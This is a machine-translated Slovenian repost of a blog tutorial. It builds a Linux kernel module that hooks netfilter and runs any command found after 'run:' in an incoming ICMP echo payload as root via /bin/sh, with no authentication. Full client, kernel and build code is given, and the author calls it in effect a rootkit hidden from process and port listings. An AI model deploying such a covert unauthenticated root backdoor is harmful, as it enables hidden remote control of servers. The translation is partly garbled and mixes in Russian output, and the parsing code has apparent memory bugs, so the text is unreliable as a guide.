Jedrni shell nad ICMP

Jedrni shell nad ICMP

TL;DR: pišem jedro modula, ki bo bral ukaze iz ICMP payloada in jih izvajal na strežniku, tudi če vam je SSH padel. Za tiste najbolj nestrpne je celotna koda na github.

Pažnja! Izkušeni programerji v C-ju bodo morda zajokali krvave solze! Morda se motim glede terminologije, vendar je vsaka kritika dobrodošla. Objava je namenjena tistim, ki imajo vsaj osnovno predstavo o programiranju v C-ju in želijo pokukati v notranjost Linuxa.

V komentarjih k mojemu prvemu članku sem omenil SoftEther VPN, ki zna mimikrirati nekatere 'običajne' protokole, vključno z HTTPS, ICMP in celo DNS. Predstavljam si delovanje le prvega izmed njih, saj sem dobro seznanjen s HTTP(S), medtem ko sem se moral raziskovati tuneliranje preko ICMP in DNS.

Jedrni shell nad ICMP

Ja, leta 2020 sem izvedel, da je mogoče v ICMP pakete vstaviti poljuben payload. Ampak bolje pozno kot nikoli! In ker je s tem mogoče nekaj narediti, je potrebno to narediti. Ker v svojem vsakdanu najpogosteje uporabljam ukazno vrstico, vključno preko SSH, je ideja ICMP shell-a prišla na misel kot prva. In da bi sestavil popolno bullsh*t bingo, sem se odločil pisati v obliki modula za Linux v jeziku, o katerem imam le grobo predstavo. Tak shell ne bo viden v seznamu procesov, lahko ga naložite v jedro in ne bo ležal v datotečnem sistemu, ne boste videli nič sumljivega v seznamu poslušnih vrat. Po svojih zmožnostih je to polnjen rjenje rootkit, ampak upam, da ga bom izboljšal in uporabil kot zadnjo možnost shell, ko bo Load Average preveč visok, da bi se prijavil preko SSH in izvedel vsaj echo i > /proc/sysrq-trigger, da si povrne dostop brez ponovnega zagona.

Vzjamemo urejevalnik besedil, osnovne veščine programiranja v Pythonu in C-ju, Googla in virtualno napravo , katere ne bo škoda poslati pod nož, če se vse pokvari (opcijsko — lokalni VirtualBox/KVM/itd) in gremo naprej!

Odjemalski del

Zdelalo se mi je, da bom za odjemalski del moral napisati skript dolg kakih 80 vrstic, a so se našli prijazni ljudje, ki so to opravili namesto mene vse delo. Koda se je izkazala za presenetljivo preprosto, prilega se v 10 smiselnih vrstic:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skript sprejema dva argumenta, naslov in payload. Preden pošljemo payload, ga predhodno ovijemo s ključem run:, potrebovali ga bomo, da izločimo pakete z naključnim payloadom.

Jedro zahteva privilegije za ustvarjanje paketov, zato bo treba skript zagnati s pravicami superuporabnika. Ne pozabite podeliti pravic za izvajanje in namestiti scapy. V Debiana je paket, imenovan python3-scapy. Zdaj lahko preverimo, kako to deluje.

Zagon in izhod ukaza
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Zdravo, svete!"
Započinjanje emisije:
.Završeno slanje 1 paketa.
*
Primljeno 2 paketa, dobijeno 1 odgovor, preostalo 0 paketa
###[ IP ]###
verzija = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
opcije
###[ ICMP ]###
tip = echo-reply
kod = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Zdravo, svete!

Tako izgleda v snifferju
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Срабатывание под пользователем "root" и группой "root". Это может быть опасно.
Захват на 'wlp1s0'
Рамка 1: 59 байт на проводу (472 бита), 59 байт захвачено (472 бита) на интерфейсе wlp1s0, id 0
Протокол интернет-версии 4, Источник: 192.168.0.240, Назначение: 45.11.26.232
Протокол управления сообщениями интернета
Тип: 8 (Запрос эха (ping))
Код: 0
Контрольная сумма: 0xd603 [верно]
[Статус контрольной суммы: Хорошо]
Идентификатор (BE): 0 (0x0000)
Идентификатор (LE): 0 (0x0000)
Номер последовательности (BE): 0 (0x0000)
Номер последовательности (LE): 0 (0x0000)
Данные (17 байт)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Dolžina: 17]

Okvir 2: 59 bajtov v žici (472 bitov), 59 bajtov zajetih (472 bitov) na vmesniku wlp1s0, id 0
Protokol Internetne različice 4, Src: 45.11.26.232, Dst: 192.168.0.240
Протокол управления сообщениями интернета
Tip: 0 (Echo (ping) odgovor)
Код: 0
Kontrolna vsota: 0xde03 [pravilna]
[Статус контрольной суммы: Хорошо]
Идентификатор (BE): 0 (0x0000)
Идентификатор (LE): 0 (0x0000)
Номер последовательности (BE): 0 (0x0000)
Номер последовательности (LE): 0 (0x0000)
[Okvir zahteve: 1]
[Čas odgovora: 19.094 ms]
Данные (17 байт)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Dolžina: 17]

^C2 paketi zajeti

Payload v paketu z odgovorom se ne spreminja.

Modul jedra

Za sestavljanje v virtualki z Debiano bodo potrebne vsaj make in linux-headers-amd64, ostalo se bo pridobilo kot odvisnosti. V članku kodne celote ne bom navajal, lahko jo klonirate na GitHubu.

Nastavitev hook-a

Najprej potrebujemo dve funkciji, da naložimo modul in da ga odstranimo. Funkcija za odstranjevanje ni obvezna, a takrat rmmod ne bo mogoče izvesti, modul se bo odpravil le ob izklopu.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Kaj se tukaj dogaja:

  1. Dva datotečna naslova se naložita za manipulacijo z modulom in netfilterjem.
  2. Vse operacije se izvajajo prek netfilterja, v njem je mogoče določiti hook-e. Zato je treba razglasiti strukturo, v kateri bo hook nastavljen. Najpomembneje je, da navedete funkcijo, ki bo izvedena kot hook: nfho.hook = icmp_cmd_executor; do funkcije bom še prišel.
    Nato sem določil trenutek obdelave paketa: NF_INET_PRE_ROUTING določa obdelavo paketa, ko se prvič pojavi v jedru. Uporabite lahko NF_INET_POST_ROUTING za obdelavo paketa ob izhodu iz jedra.
    Naložim filter na IPv4: nfho.pf = PF_INET;.
    Določim svoj hook kot najvišji prioritet: nfho.priority = NF_IP_PRI_FIRST;
    In registriram strukturo podatkov kot hook: nf_register_net_hook(&init_net, &nfho);
  3. V zaključni funkciji se hook odstrani.
  4. Licenca je jasno označena, da se prevajalnik ne pritožuje.
  5. Functions module_init() in module_exit() določata druge funkcije kot inicializirajočo in končno funkcijo modula.

Izvlečenje payloada

Zdaj morate izluščiti payload, kar se je izkazalo za najtežjo nalogo. V jedru ni vgrajenih funkcij za delo s payloadom, lahko le analizirate naslove višjih protokolov.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Kaj se dogaja:

  1. Moral sem povezati dodatne zaglavne datoteke, tokrat za manipulacijo z IP- in ICMP-glavami.
  2. Določam največjo dolžino niza: #define MAX_CMD_LEN 1976. Zakaj prav takšno? Ker se pri daljši pritožuje prevajalnik! Že so mi povedali, da se moram ukvarjati z razvodom in kupom, to bom zagotovo storil in morda celo popravil kodo. Takoj določim niz, v katerem bo shranjena ukaz: char cmd_string[MAX_CMD_LEN];. Vidna mora biti v vseh funkcijah, o tem bom podrobneje govoril v točki 9.
  3. Zdaj moram inicializirati (struct work_struct my_work;) strukturo in jo povezati z še eno funkcijo (DECLARE_WORK(my_work, work_handler);). O tem, zakaj je to potrebno, bom prav tako govoril v deveti točki.
  4. Zdaj razglašam funkcijo, ki bo delovala kot hook. Tip in sprejeti argumenti so določeni z netfilterjem, zanima nas samo skb. To je socket buffer, temeljna podatkovna struktura, ki vsebuje vse razpoložljive podatke o paketu.
  5. Za delovanje funkcije bosta potrebni dve strukturi in nekaj spremenljivk, vključno z dvema iteratorjema.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Lahko se lotite logike. Za delovanje modula niso potrebni nobeni paketi razen ICMP Echo, zato analiziramo buffer z vgrajenimi funkcijami in zavržemo vse ne ICMP- in ne Echo-pakete. Vrnete NF_ACCEPT kar pomeni sprejem paketa, lahko pa zavržete pakete in vrnete NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Nisem preverjal, kaj se zgodi brez preverjanja IP glav. Moje minimalno znanje C mi pravi: brez dodatnih preverjanj se bo zagotovo zgodilo nekaj groznega. Bil bom vesel, če me boste v tem prepričali!

  7. Zdaj, ko je paket zagotovo prave vrste, lahko izvlečem podatke. Brez vgrajene funkcije moram najprej pridobiti kazalec na začetek payloada. To se naredi na poseben način, potrebno je vzeti kazalec na začetek ICMP glave in ga premakniti po velikosti te glave. Za vse se uporablja struktura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Konec naslova mora ustrezati koncu uporabnih podatkov v skb, zato ga pridobimo z jedrskim sredstvom iz ustrezne strukture: tail = skb_tail_pointer(skb);.

    Jedrni shell nad ICMP

    Sliko sem prenesel od tod, lahko preberete več o predpomnilniku vtičnika.

  8. Ko dobimo kazalce na začetek in konec, lahko podatke kopiramo v niz cmd_string, ga preverimo glede na prisotnost predpona run: in, bodisi vržemo paket v primeru njene odsotnosti, bodisi spet prepišemo niz, tako da odstranimo ta predpone.
  9. No, zdaj lahko pokličemo še en obdelovalnik: schedule_work(&my_work);. Ker v takem klicu ni mogoče posredovati parametra, mora biti niz s komando globalen. schedule_work() bo položil funkcijo, povezano z posredovano strukturo, v skupno vrsto načrtovalnika opravkov in končal, ne da bi čakal na dokončanje komande. To je potrebno, ker mora biti hlev zelo hiter. V nasprotnem primeru ne bo ničesar zagnalo ali pa boste dobili kernel panic. Zakasnitev je smrtna!
  10. Vse, lahko sprejmemo paket z ustreznim povratkom.

Klic programa v uporabniškem prostoru

Ta funkcija je najbolj razumljiva. Njeno ime je bilo določeno v DECLARE_WORK(), tip in sprejeti argumenti niso zanimivi. Vzamemo niz s komando in ga posredujemo v celoti shellu. Naj se sam ukvarja s parsiranjem, iskanjem binarnih datotek in vsem ostalim.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Določimo argumente v nizu nizov argv[]. Predpostavljam, da vsi vedo, da se programi v resnici izvajajo prav tako, ne pa v neprekinjenem nizu s presledki.
  2. Določimo okoljske spremenljivke. Vstavila sem le PATH z minimalnim nizom poti, pričakujoč, da so vsi že združeni /bin z /usr/bin in /sbin z /usr/sbin. Druge poti so v praksi redko pomembne.
  3. Gotovo, izvajamo! Funkcija jedra call_usermodehelper() sprejme na vhod. pot do binarne datoteke, niz argumentov, niz okoljskih spremenljivk. Tukaj prav tako predpostavljam, da vsi razumejo pomen posredovanja poti do izvajalne datoteke kot ločenega argumenta, lahko pa vprašate. Zadnji argument označuje, ali naj čakamo na dokončanje procesa (UMH_WAIT_PROC), zagon procesa (UMH_WAIT_EXEC) ali ne čakamo sploh (UMH_NO_WAIT). Obstaja še UMH_KILLABLE, ne ukvarjal sem se s tem.

Izgradnja

Sestavljanje jedrskih modulov se izvaja preko jedrskega make-okvira. Kliče se make v posebnem imeniku, povezanem s različico jedra (to je določeno tukaj: KERNELDIR:=/lib/modules/$(shell uname -r)/build), mesto modula pa se prenese spremenljivki У v argumentih. V ciljih icmpshell.ko in clean se v celoti uporablja ta okvir. V obj-m je naveden objektni datoteka, ki bo pretvorjena v modul. Sintaksa, ki pretvarja main.o u icmpshell.o (icmpshell-objs = main.o) se zdi nekoliko nelogična zame, a naj bo tako.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Sestavljamo: make. Nalagamo: insmod icmpshell.ko. Gotovo, lahko preverite: sudo ./send.py 45.11.26.232 "date > /tmp/test". Če je na vašem računalniku nastala datoteka /tmp/test in vsebuje datum pošiljanja zahtevka, ste vse naredili pravilno in tudi jaz sem vse naredil pravilno.

Zaključek

Moje prvo izkušnje z razvojem jedra so se izkazale za veliko lažje, kot sem pričakoval. Tudi brez izkušenj z razvojem v C, ob orientaciji na nasvete prevajalnika in izid Googla, sem uspel napisati delujoč modul in se počutiti kot jedrni heker, poleg tega pa tudi skript kid. Poleg tega sem se prijavil na kanal Kernel Newbies, kjer so mi svetovali, naj uporabim schedule_work() namesto klica call_usermodehelper() znotraj samega hook-a in so upravičeno sumili na prevaro. Sto vrstic kode mi je stalo približno en teden razvoja v prostem času. Uspešna izkušnja, ki je uničila moj osebni mit o neobvladljivi kompleksnosti sistemskega razvoja.

Če se kdo strinja, da opravi kodo-oceno na GitHubu, bom hvaležen. Skoraj sem prepričan, da sem naredil veliko neumnih napak, zlasti pri delu s podatkovnimi nizi.

Jedrni shell nad ICMP

Izvor: habr.com

Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster